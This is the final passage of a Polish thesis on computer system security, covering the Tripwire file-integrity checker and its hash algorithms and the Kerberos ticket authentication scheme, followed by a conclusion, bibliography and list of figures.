systemu oraz określenie skali wyrządzonych szkód. Tripwire jest narzędziem
uniwersalnym, ponieważ można przy jego pomocy określić pliki uszkodzone
podczas awarii sprzętu lub błędów oprogramowania.
Mechanizm działania programu opiera się na istnieniu wzorcowej bazy
sygnatur oraz regułach zapisanych pliku konfiguracyjnym. Dla każdego
sprawdzanego obiektu generowana jest sygnatura i porównywana z wartością
poprzednio zapisaną, w wyniku czego generowany jest raport, który może być
wyświetlany na standardowym wyjściu lub zapisywany do pliku.
baza nowych
generowanie
sygnatur
sygnatury
porównanie raport
plik wzorcowa
konfiguracyjny baza sygnatur
Pliki na stałe w systemie
Rys. 13. Schemat działania programu Tripwire.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 96
Rodzaje zabezpieczeń
Tripwire do generowania sygnatur może korzystać z różnych algorytmów:
MD5
Snefru
CRC-32
CRC-16
MD4
MD2
SHA/SHS
Haval
Null
oraz może korzystać z takich własności jak:
tryby dostępu,
numer i-węzła,
liczba dowiązań,
identyfikator właściciela pliku,
identyfikator grupy,
rozmiar pliku,
czas dostępu.
MD5
MD5 należy do grupy algorytmów RSA, czyli RSA Data Security Inc.
Massage-Digest Algorithm i jest obecnie standardowym algorytmem
potwierdzaj cym autentyczność danych. MD5 stworzono w wyniku istnienia
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 97
Rodzaje zabezpieczeń
potencjalnej luki w szybszym ale i mniej bezpiecznym MD4.
Jest jednokierunkowym algorytmem mieszajÄ…cym (ang. one-way hash function),
który generuje 128-bitową sygnaturę dla informacji wejściowej przy średniej
prędkości 70 kB/s.
Snefru
Snefru, czyli Xerox Secure Hash Function, jest funkcjÄ… mieszajÄ…cÄ… stworzonÄ… przez
Ralpha Merkle z firmy Xerox PARC. Dla osób, które złamią algorytm wyznaczono
nagrodę w wysokości $1000 za znalezienie dwóch różnych danych wejściowych
o tej samej sygnaturze. W 1990 roku podwójny (2-pass) algorytm Snefru został
złamany przez studenta Eli Biham z Adi Shamir. Obecnie rekomendowany przez
autora jest standardowy poczwórny (4-pass) oraz ośmiokrotny (8-pass) algorytm
Snefru. Prędkość przetwarzania danych jest mniejsza niż dla MD5, wynosi około
31 kB/s. Jest zalecany jako kopia dla podstawowej sygnatury MD5.
CRC-32
CRC-32, czyli Cyclic Redundancy Checks, twórcą którego jest Gary S. Brown.
Jest szybki (około 111kB/s), silny i niezawodny, dzięki czemu przez długi czas był
standardowym algorytmem detekcji błędów związanych z transmisją danych.
Stosowanie CRC-32 dla długich plików jest błędem, jednakże jest on dostarczany
jako alternatywa dla wolnych algorytmów mieszających.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 98
Rodzaje zabezpieczeń
CRC-16
CRC-16 jest poprzednikiem CRC-32, używa tylko 16-bitów do przechowywania
informacji, a jego prędkość sięga 131 kB/s.
MD4
MD4 jest poprzednikiem MD5, został stworzony do wykorzystania 32-bitowej
architektury RISC, aby maksymalnie zwiększyć przepustowość, na Sun
SparcStation wynosi ona około 1,4 MB/s., średnio 332 kB/s.
MD2
MD2 także należy do grupy algorytmów RSA, został stworzony jako część pakietu
gwarantującego autentyczność i podnoszącego bezpieczeństwo poczty
elektronicznej (Privacy Enhanced Mail).
SHA/SHS
SHA/SHS to NIST Digital Signature Standard, nazywany też Secure Hash
Standard. SHS jest w połowie tak szybki jak MD5. SHS bazuje na algorytmie MD4
z kilkoma rozszerzeniami nie występującymi w MD5.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 99
Rodzaje zabezpieczeń
Haval
Haval został napisany przez Yulianga Zhenga z uniwersytetu Wollongong i jest
128-bitowym, cztero-przejściowym, jednokierunkowym algorytmem mieszającym.
Jest około 30% szybszy od MD5 (100kB/s).
Null
Null nie jest prawdziwym algorytmem, jest to funkcja sig_null_get() przechowujÄ…ca
nieużywane okna w tablicy sygnatur i zawsze zwraca pojedynczy znak  0 .
Zastosowanie tylu różnych algorytmów praktycznie uniemożliwia intruzowi
po włamaniu się do systemu modyfikację plików bez zauważenia. Podrobienie
sygnatury jest wręcz niemożliwe, ponieważ włamywacz musiałby tak
zmodyfikować plik, aby wygenerowana dla niego sygnatura była identyczna ze
wzorcem. Istnieją dwie metody na znalezienie tej samej sygnatury: metoda siłowa
(ang. brute force) oraz poprzez odwrócenie funkcji szyfrującej.
Używając pierwszej metody można iteracyjnie skanować plik w poszukiwaniu
właściwej sygnatury. Dla sygnatury n-bitowej maksymalna ilość iteracji, to 2n-1.
Dla małych plików taka operacja jest bardzo prosta. Wykorzystując maszynę
Sun SparcStation 1+ o mocy obliczeniowej 12 MIPS, duplikat 16-bitowej sygnatury
CRC-16 dla 50kB pliku binarnego może być znaleziony w ciągu 40 sekund.
To samo dla sygnatury CRC-32 można uzyskać w ciągu 4 godzin.
Znając funkcję szyfrowania algorytmu można stworzyć funkcje odwrotną
i nie tracić tyle czasu na znalezienie odpowiedniej sygnatury. Na szczęście
większość funkcji mieszających jest funkcjami jednokierunkowymi (ang. one-way
hash function) co oznacza, że nie istnieje funkcja do nich odwrotna, a w dodatku są
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 100
Rodzaje zabezpieczeń
funkcjami co najmniej 128-bitowymi, tak więc na dzień dzisiejszy technicznie
niemożliwe do złamania.
Badania przeprowadzone w laboratorium COAST przy Uniwersytecie Purdue,
wykazały wysoką skuteczność algorytmów mieszających. Testy przeprowadzono na
pięciu komputerach uniwersytetu oraz na dwóch w firmie Sun Microsystem, Inc.
Aącznie sprawdzono 254 686 plików pod kątem duplikatów sygnatur, tzw. kolizji.
Dla każdego pliku wygenerowano sygnatury używając 16-bitowej komendy SunOS
sum, dwóch standardów CRC, 64-bitowego algorytmu DES-CBC oraz 128-
bitowych MD4, MD5 i Snefru.
Tabela 4. Wynik badań laboratorium COAST. Liczba kolizji sygnatur w zależności
od użytego algorytmu do ich utworzenia27
Liczba kolizji
Ilość identycznych
AÄ…cznie
sygnatur
1 2 3 4 5 6 7 8 e"9
16-bit checksum (sum) 14177 6647 2437 800 235 62 12 2 1 24375
16-bit CRC 15022 6769 2387 677 164 33 5 0 0 25059
32-bit CRC 3 1 1 0 0 0 0 0 0 5
64-bit DES-CBC 1 1 0 0 0 0 0 0 0 2
128-bit MD4 0 0 0 0 0 0 0 0 0 0
128-bit MD5 0 0 0 0 0 0 0 0 0 0
128-bit Snefru 0 0 0 0 0 0 0 0 0 0
Dodatkowo przeprowadzono badania empiryczne polegajÄ…ce na znalezieniu
duplikatu 128-bitowej sygnatury Snefru dla pliku /bin/login używając przy tym 130
stacji roboczych Sun SparcStation 1, każda mogąca wygenerować 37 sygnatur
27
Gene H. Kim, Eugene H. Spafford, The Design and Implementation of Tripwire: A File System Integrity
Checker, COAST Laboratory Department of Computer Sciences Purdue University, 1994
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 101
Rodzaje zabezpieczeń
algorytmu Snefru na sekundÄ™. Po kilkunastu tygodniach i wygenerowaniu
17 milionów sygnatur oraz porównaniu ich z 10 000 zapisanych nie znaleziono
żadnych duplikatów. Przeszukano w przybliżeniu 224 sygnatur, pozostało 1015.
Dużą zaletą Tripwire jest jego dostępność na prawie każdą platformę UNIX.
Kod programu został napisany w standardzie K&R C oraz dostosowany do
standardu POSIX, rezultatem czego jest dostępny na ponad 30 systemów BSD
i System-V, włączając w to Xenix i Unicos. Nowością jest szyfrowanie przez
program ważnych plików z których korzysta, algorytmem z kluczem jawnym
ElGamala. Pliki są dostępne do odczytu, ale do zapisu wymagane jest hasło.
Należy stanowczo podkreślić, że Tripwire nie daje gwarancji bezpieczeństwa
systemu, jest tylko elementem jego ochrony.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 102
Rodzaje zabezpieczeń
3. Kerberos
Kerberos jest systemem opartym na modelu dystrybucji kluczy (ang. key
distribution model) i gwarantuje bezpieczeństwo w sieci dzięki bezpiecznej
autoryzacji oraz szyfrowaniu sesji. Został opracowany na początku lat
osiemdziesiÄ…tych w Massachusetts Institute of Technology w ramach projektu
Athena, a swoja nazwę zapożyczył od imienia Cerbrus  trzygłowego psa
strzegÄ…cego bram Hadesu.
W skład systemu Kerberos wchodzą serwery bezpieczeństwa, serwery
aplikacji i danych oraz dostosowane do współpracy z tym systemem aplikacje
klienta. Koncepcja systemu opiera siÄ™ na wydawaniu przez centralny serwer tzw.
 biletów (ang. tickets) dla konkretnych usług sieciowych. Uzyskanie przez
użytkownika biletu wymaga każdorazowo podania hasła. Aby wyręczyć
użytkownika od ciągłego wpisywania hasła, system korzysta z tzw.  biletu na
bilety (ang. ticket granting ticket). Zasadniczą różnicą w stosunku do standardowej
autoryzacji zdalnej jest to, że hasła nigdy nie są przesyłane siecią, zarówno
w postaci jawnej jak i zaszyfrowanej. Dzieje się tak dlatego, że hasła zapisane są na
serwerze Kerberos, a nie na stacjach roboczych. Bilety są przesyłane w postaci
zaszyfrowanej, ale użytkownik nie może ich odkodować ani zmienić. Informacje
uwierzytelniające są kodowane algorytmem DES, tak więc żadna ważna informacja
nie jest przekazywana otwartym tekstem. Kerberos tylko pośredniczy w nawiązaniu
połączenia pomiędzy klientem i serwerem, dalsza komunikacja odbywa się bez jego
udziału.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 103
Rodzaje zabezpieczeń
Schemat działania
1. Użytkownik rozpoczyna pracę na stacji roboczej, podaje swój identyfikator,
który jest następnie przekazywany w postaci jawnej do serwera uprawnień.
2. Serwer uprawnień konstruuje bilet do serwera biletów (ang. ticket granting
server). Bilet ten jest szyfrowany kluczem serwera biletów i tylko przez
niego może być odczytany. Serwer uprawnień generuje następnie losowy
klucz sesji oraz odczytuje ze swojej bazy danych klucz użytkownika.
Ostatecznie bilet do serwera biletów i klucz sesji zostają zaszyfrowane
kluczem użytkownika i przesłane do niego.
3. Komputer klienta otrzymuje wysłane przez serwer informacje, pyta
użytkownika o hasło, przekształca hasło na klucz użytkownika. Tak
uzyskany klucz powinien być tym samym kluczem, którego użył serwer
uprawnień. Informacje uzyskane od serwera uprawnień mogą być teraz
odszyfrowane. Klient uzyskuje klucz sesji i bilet do serwera biletów 
 bilet na bilety .
4.  Bilet na bilety umożliwia dostęp do pozostałych serwerów sieciowych.
W celu uzyskania dostępu np. do serwera plików klient przekazuje
serwerowi biletów  bilet na bilety oraz informacje o serwisie, do którego
chce uzyskać dostęp.
5. Serwer biletów uzyskawszy zgłoszenie klienta sprawdza poprawność  biletu
na bilety , a następnie podobnie jak robił to serwer uprawnień konstruuje
bilet do konkretnego serwera, w tym przypadku serwera plików. Bilet do
serwera plików jest zaszyfrowany kluczem serwera plików. Serwer biletów
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 104
Rodzaje zabezpieczeń
zwraca nowy bilet klientowi, cały komunikat jest szyfrowany kluczem sesji
zawartym w  bilecie na bilety .
6. Klient posługuje się otrzymanym biletem do uzyskania dostępu do serwera
plików.
7. Serwer plików po uzyskaniu od klienta biletu, sprawdza czy bilet jest
poprawny, jeżeli tak, to klient uzyskuje dostęp do serwera plików.
Szyfrowania danych pomiędzy klientem a serwerem plików jest
przeprowadzane w oparciu o nowy klucz sesji, który został wygenerowany
wcześniej przez serwer biletów i przekazany klientowi wraz z biletem do
serwera plików28.
Weryfikacja pomiędzy klientem a serwerem w początkowej fazie autoryzacji polega
na przekazaniu do serwera informacji uwierzytelniającej składającej się z nazwy
klienta i zakodowanego bieżącego czasu. Po jej odszyfrowaniu serwer sprawdza,
czy te informacje są zgodne z tym zawartymi w bilecie. Bilet zawiera oprócz adresu
serwera także takie informacje jak czas utworzenia i czas ważności oraz klucz sesji.
Bilety wydawane przez serwer biletów maja określony czas ważności, z reguły od
kilku do kilkunastu godzin, a informacje uwierzytelniające tracą ważność w ciągu
kilku minut. Dzięki temu nie można posłużyć się cudzym biletem, przestarzałym
lub biletem z innego serwera. Dodatkowo serwer odpowiadając klientowi zwiększa
zaszyfrowany czas o jeden, tak więc jakakolwiek próba podrobienia biletu jest
praktycznie niewykonalna. Do dnia dzisiejszego, czyli przez blisko czternaście lat,
nie odnotowano żadnego przypadku złamania systemu.
28
Grzegorz Blinowski, Bezpieczeństwo danych w Internecie: Kerberos, 1996
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 105
Rodzaje zabezpieczeń
Dzięki swojej konstrukcji system Kerberos zapewnia:
weryfikację tożsamości obydwu stron,
integralność przesyłanych danych,
poufność danych.
Pomimo wielu swoich zalet, Kerberos ma tez kilka znaczÄ…cych wad.
Serwer jest newralgicznym punktem sieci przechowującym bardzo ważne
informacje takie jak hasła użytkowników, tak więc jego zabezpieczenie fizyczne
jest sprawa priorytetową. Jakakolwiek penetracja systemu może mieć katastrofalne
skutki dla bezpieczeństwa całej sieci. Pomijając fakt, że Kerberos jest udostępniany
bezpłatnie, dostępny jest też dla dużej ilości platform systemowych, a większość
firm dołącza go już do swoich dystrybucji. Ograniczony jest także zakres
stosowania systemu do małych sieci lokalnych oraz większych do poziomu
organizacyjnego.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 106
Zakończenie
Zakończenie
Należy zdać sobie sprawę z tego, że możliwości ataku na systemy
komputerowe jest wiele. Wszystko jest zależne tylko od wiedzy i pomysłowości
hakera. Na dzień dzisiejszy nie ma systemu bezpiecznego w stu procentach.
Z dnia na dzień przybywa technik zabezpieczeń, tak samo jak programów
wykorzystujących w nich luki. Gdyby nie działania hakerów większość z tych
zabezpieczeń w ogóle by nie powstała. To oni podnoszą bowiem  poprzeczkę
bezpieczeństwa, zmuszając jednocześnie producentów do większego wysiłku przy
projektowaniu swoich produktów. Ten aspekt  pracy hakera jest pożyteczny, inne
nie. Kradzież informacji i pózniejszy nimi handel stanie się niedługo codziennością.
Niektóre firmy doceniają potencjał jaki posiadają hakerzy i umieją go dobrze
wykorzystać. Najlepiej jest przecież sprawdzić ochronę systemu przed zewnętrzną
ingerencją przez powierzenie go specjaliście  hakerowi. Profilaktyka jest dużo
tańsza i bezpieczniejsza niż pózniejsze naprawianie szkód wyrządzonych przez
włamywacza.
Postęp technologiczny poza oczywistymi zaletami, ma też swoją ciemną
stronÄ™. Stosowanie autoryzacji polegajÄ…cej na unikalnych kluczach biometrycznych
takich jak linie papilarne, wzór siatkówki oka, czy nawet kod DNA, w niedługim
czasie może nie być już wystarczająco bezpieczne, ponieważ wszystko to będzie
można podrobić. Technika rozwija się obecnie w oszałamiającym tempie.
Nie można z pewnością przewidzieć jaki kształt będzie miał Internet za 10 lat.
Jakkolwiek będzie bezpieczny, sam problem bezpieczeństwa systemów i danych
pozostanie nadal.
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 107
Bibliografia
Bibliografia
Publikacje książkowe i skrypty
1. Anonim, Internet. Agresja i ochrona, Wydawnictwo Robomatic,
Wrocław 1998
2. Blinowski Grzegorz, Bezpieczeństwo danych w Internecie: Kerberos, 1996
3. Bremford Mike, It s the Ping o Death Page!, 1996
4. CERT Advisory CA-97.28, IP Denial-of-Service Attacks, 1997
5. Clico Centrum Oprogramowania, Wprowadzenie do problemów
bezpiecze stwa komputerowych systemów sieciowych, 1997
6. Dudek Andrzej, Nie tylko wirusy, Wydawnictwo Helion, Gliwice 1998
7. Giovanni Coretez, Topology of Denial-of-Service, Endeavor Systems
Inc., 2000
8. Huegen Craig A., The lastest in Denial of Service attacks:  Smurfing , 1997
9. Hunt Craig, TCP/IP Administracja sieci, Wydawnictwo RM sp. z o.o.,
Warszawa 1998
10. Husman Hans, Introduction to Denial of Service, 1996
11. Jaspan Barry, Kerberos Users' Frequently Asked Questions 1.14, 1995
12. Kamfora Michał, Kult hakingu, czasopismo Enter nr 9, 1999
13. Kermode Tom, Denial of Service Attacks on any Internet Server Through
SYN Flooding
14. Kim Gene H., Spafford Eugene H., The Design and Implementation of
Tripwire: A File System Integrity Checker, COAST Laboratory Department
of Computer Sciences Purdue University, 1994
15. Klander Lars, Hacker proof, czyli jak się bronić przed intruzami, Zakład
Nauczania Informatyki Mikom, Warszawa 1998
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 108
Bibliografia
16. Kozak Zbigniew, Tripwire, LinuxPlus nr 11, 1999
17. Nemeth Evi, Snyder Garth, Seebass Scott, Hein Trent R., Przewodnik
administratora systemu Unix®, Wydawnictwo Naukowo-Techniczne,
Warszawa 1998
18. Neuman C., Kohl J., The Kerberos Network Authentication Service (V5),
RFC 1510, 1993
19. Niezgódka Joanna, Jak się bronić przed hackerami, Komputerowa Oficyna
Wydawnicza Help, Warszawa 1998
20. Robertson Paul D., Introduction to denial of service
21. Salomon Dr Alan, All About Viruses
22. Schneier Bruce, Ochrona poczty elektronicznej, Wydawnictwo Naukowo -
Techniczne, Warszawa 1996
23. Stallings W., Ochrona danych w sieci i intersieci, Wydawnictwo Naukowo-
Techniczne, Warszawa 1997
24. Stawowski Mariusz, Badanie zabezpieczeń sieci komputerowych. Testy
penetracyjne, Warszawa 1998
25. Trąd Jacek, Wiśniowski Dariusz, Zapory Ogniowe (Firewall), 1999
26. Ziółkowski Aukasz, Firewall czyli ściana ognia, 1999
Magazyny
27. CHIP
28. Enter
29. Network Working Group, Request for Comments
30. Networld
31. PC World Computer
32. Phrack Magazine
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 109
Bibliografia
Strony internetowe
33. http://c5.hakker.com/
34. http://hack.pl/
35. http://hack.zone.to/
36. http://hacking.pl/
37. http://ipsec.pl/
38. http://lanzone.koti.com.pl/
39. http://packetstorm.securify.com/
40. http://www.2600.com/
41. http://www.achates.prv.pl/
42. http://www.alchemia.prv.pl/
43. http://www.alw.nih.gov/Security/
44. http://www.bezpieczenstwoit.pl/
45. http://www.cc.com.pl/
46. http://www.cert.org/
47. http://www.clico.krakow.pl/
48. http://www.false.com/
49. http://www.geek-girl.com/bugtraq/
50. http://www.hacker.komp.pl/
51. http://www.isc.com/
52. http://www.isoc.org/
53. http://www.magazyn.tao.com.pl/
54. http://www.netsizer.com/
55. http://www.phrack.com/
56. http://www.rootshell.com/
57. http://www.tis.com/
58. http://www.value.hg.pl/
BEZPIECZECSTWO SYSTEMÓW KOMPUTEROWYCH 110
Spis tabel i rysunków
Spis tabel i rysunków
Tabela 1 str.15 Protokoły wchodzące w skład TCP/IP.
Tabela 2 str. 18 Przeznaczenie pól danych w nagłówku TCP.
Tabela 3 str. 36 Czas rozkodowywania hasła w zależności od jego
skomplikowania, podany w formacie gg:mm:ss.
Tabela 4 str. 100 Wynik badań laboratorium COAST. Liczba kolizji sygnatur w
zależności od użytego algorytmu do ich utworzenia.
Rys. 1 str. 6 Ilość użytkowników Internetu w Polsce (mln).
Rys. 2 str. 17 Budowa komunikatu TCP.
Rys. 3 str. 22 Schemat ataku przerwania.
Rys. 4 str. 23 Schemat ataku przechwycenia.
Rys. 5 str. 24 Schemat ataku modyfikacji.
Rys. 6 str. 24 Schemat ataku podrobienia.
Rys. 7 str. 39 Metoda skanowania półotwartego  TCP SYN scanning.
Rys. 8 str. 40 Metoda skanowania typu  stealth  TCP FIN scanning
Rys. 9 str. 46 Metoda działania skanowania typu IP.id scanning.
Rys. 10 str. 52 Zasada działania IP-spoofingu.
Rys. 11 str. 53 Zasada działania ataku DNS-spoofing.
Rys. 12 str. 56 Dodawanie poleceń hakera do żądań klienta oraz ich usuwanie
w odpowiedzi z serwera.
Rys. 13 str. 95 Schemat działania programu Tripwire.


Wyszukiwarka

Podobne podstrony:
Bezpieczeństwo systemów komputerowych
Budowa systemu ekspertowego (Praca dyplomowa)
Niezawodność i bezpieczeństwo systemów mechatronicznych Praca domowa nr 1
Bezpieczeństwo systemów komputerowych 2
Bezpieczeństwo systemów komputerowych
Elektrownia wiatrowa w systemie energetycznym Pomiary, zjawiska, ocena [PRACA DYPLOMOWA MAGISTERSKA
Administrowanie systemami komputerowymi bezpieczenstwo systemu
Bezpieczeństwo systemów i sieci komputerowych 3FDS
mikronapedy w systemach komputerowych
przykladowa praca dyplomowa dla grupy
7176525 Praca Dyplomowa Kontrukcje Drewniane
Bezpieczeństwo systemów IT

więcej podobnych podstron